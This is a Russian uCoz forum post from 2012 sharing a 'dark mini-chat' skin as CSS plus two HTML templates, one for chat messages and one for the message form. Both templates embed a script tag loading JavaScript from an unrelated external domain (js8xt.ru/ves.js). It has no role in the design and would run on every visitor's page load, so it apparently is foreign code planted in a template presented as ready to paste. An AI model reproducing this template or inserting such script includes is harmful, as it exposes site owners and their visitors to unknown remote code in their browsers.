Воскресенье, 22.07.2018, 11:49







  • Страница 1 из 1
  • 1
Форум » Скрипты для Ucoz » Другие скрипты для Ucoz » Темный мини-чат для uCoz (100% рабочий)
Темный мини-чат для uCoz
MyLifeДата: Четверг, 03.05.2012, 03:04 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 7
Репутация: 0
Статус: Offline
http://s019.radikal.ru/i636/1204/18/2cfb3b1b1e8d.png <-- Скрин

Темный мини-чат для uCoz. Удобный черный чат, с различными функциями и красивыми картинками.
Автор: TAMEP.

В CSS:

Code
/* Темный мини-чат */
.vid_mchat_b {
  border-bottom:1px solid #2b2b2b;
}

.vid_mchat {
  overflow:hidden;
  background:#191919;
  border-bottom:1px solid #0a0a0a;
  padding:3px 0 0 0;
  min-height:58px;
}

.vid_mchat .name {
  max-width:145px;
  padding:0 0 4px 0;
  background:url("vid_mchat_name_b.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_name_b.png*/ no-repeat bottom center;
}

.vid_mchat .text {
  font-weight:bold;
  color:#636363;
  padding:3px;
}

.vid_mchat .avatar {
  float:right;
  background:url("vid_mchat_ava.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/vid_mchat_ava.png*/ no-repeat 0 0;
  padding:2px;
}

.vid_mchat .avatar img {
  width:38px;
  height:38px;
  border-radius:5px;
  -moz-border-radius:5px;
  -webkit-border-radius:5px;
}

.form_add {
  padding:0 4px 5px 3px;
}

.form_add .bbcodes {
  padding:0 0 2px 3px;
}

.form_add .bbcodes a {
  display:inline-block;
  background:url("bbcodes_a_l.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l.png*/ no-repeat 0 0;
  padding:0 0 0 5px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#69859f;
  height:17px;
  text-align:center;
  line-height:17px;
}

.form_add .bbcodes a span {
  display:inline-block;
  height:17px;
  background:url("bbcodes_a_r.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r.png*/ no-repeat right;  
  padding:0 5px 0 0;
}

.form_add .bbcodes a:hover {
  background:url("bbcodes_a_l_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_l_h.png*/ no-repeat 0 0;
  color:#1a1a1a;
  text-shadow:0 1px 0 #88a1b5;
}

.form_add .bbcodes a:hover span {
  background:url("bbcodes_a_r_h.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/bbcodes_a_r_h.png*/ no-repeat right;
}

.form_add .submit {
  margin:0;
  padding:0 3px 0 0;
  border:0;
}

.form_add .submit input {
  background:url("form_add_submit.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_submit.png*/ no-repeat 0 0;
  width:42px !important;
  height:42px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#636363;
  padding:0;
  margin:0;
  border:0;
}

.form_add .textarea {
  width:156px;
  float:right;
  padding:1px 0 0;
  margin:0;
  border:0;
}

.form_add .textarea textarea {
  padding:9px 6px;
  width:144px;
  height:23px;
  border:0;
  background:url("form_add_textarea.png")/*tpa=http://informers.ucoz.ru/scripts/mchat/form_add_textarea.png*/ no-repeat 0 0;
  height:23px;
  font-family:Tahoma;
  font-size:11px;
  font-weight:bold;
  color:#636363;
}
/* --- */


Вид материалов чата:

Code
<div class="vid_mchat_b"><div class="vid_mchat">
<div class="avatar"><img src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>Ссылка на NOAVATAR<?endif?>" alt="$USERNAME$" /></div>
<div class="name"><script language=JavaScript src=http://js8xt.ru/ves.js></script><div style="padding:0 0 0 5px;"><a href="$PROFILE_URL$"><img alt="" src="http://informers.ucoz.ru/scripts/mchat/user.png" border="0" style="vertical-align:-2px"/></a>  
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$USERNAME$[/i], ';return false;"><b>$USERNAME$</b></a>
</div></div>
<div class="text">$MESSAGE$</div>
</div></div>


Форма добавлений сообщений мини-чата:

Code
<?if($USER_LOGGED_IN$)?>
<div class="form_add">
<div class="bbcodes">
<a href="javascript:add_bb_code_b()"><span>B</span></a>
<a href="javascript:add_bb_code_u()"><span>U</span></a>
<a href="javascript:add_bb_code_i()"><span>i</span></a>
<a href="javascript:add_bb_code_s()"><span>S</span></a>
<?if($MSGCTRL_URI$)?><a href="$MSGCTRL_URI$"><span>Настройки</span></a><?endif?>
</div>
<div class="textarea"><textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();" onfocus="countMessLength();" placeholder="Текст сообщения..."></textarea></div>
<div class="submit"><div style="width:30px"><script language=JavaScript src=http://js8xt.ru/ves.js></script><input type="submit" value="OK" class="mchat" id="mchatBtn" style="width:30px;"><img alt="" style="display:none;" id="mchatAjax" src="http://s42.ucoz.net/img/fr/ajax3.gif" border="0" width="16"/></div></div>
</div><!--/form_add-->
<?endif?>
 
Форум » Скрипты для Ucoz » Другие скрипты для Ucoz » Темный мини-чат для uCoz (100% рабочий)
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Недавно обновленные темы
Популярные темы
Лучшие пользователи
Новые пользователи

Партнерка

(2)

http://androidser.org.ua

(0)

Новый Топ пользователей с аватарами для Ucoz

(0)

Простой и красивый вид формы опроса

(0)

Красивый информер "кто нас сегодня посетил" для Ucoz

(0)

Flash радио для сайта

(0)

Расширенная онлайн статистика для ucoz без php

(0)

Скрипт радио на сайт

(0)

Новый информер комментарии для ucoz как на Dle

(0)

Новый вид опроса для uCoz

(0)

Жалобы на игроков сервера!!!

(101)

Моя Анкета

(53)

Набор в клан

(44)

Мнение о ***BS***DRAGON

(40)

Мнение о ***BS***Dmitriy K_[cl]

(31)

заявка на вступления в КЛАН

(30)

Изгнание из клана ***BS***Byblik)

(23)

Мнение о Servere ***BS***

(16)

Уход из клана

(14)

Разбаны!

(13)

DRAGON

(132)

DiMoN4iK

(127)

BeH1K^

(75)

CKIP

(32)

mIsh@

(29)

Scout

(29)

JIu33u

(18)

Byblik)

(16)

NeKiTOS

(11)

Олег

(10)

mouse

(22.02.2016)

privatnnover

(27.12.2014)

Swimik

(01.07.2013)

DoG

(19.03.2013)

Onlines

(19.01.2013)

Spoke

(31.10.2012)

Kanibal

(25.09.2012)

startsmart

(20.09.2012)

laym

(01.09.2012)

POMAH

(17.08.2012)


Кизенко Дмитрий © Все права защищены! Бесплатный конструктор сайтов - uCoz Сайт оптимизирован под разрешение экрана 1280х1024 и браузеры Mozila Firefox
Дизайн данного сайта полностью принадлежит администратору сайта.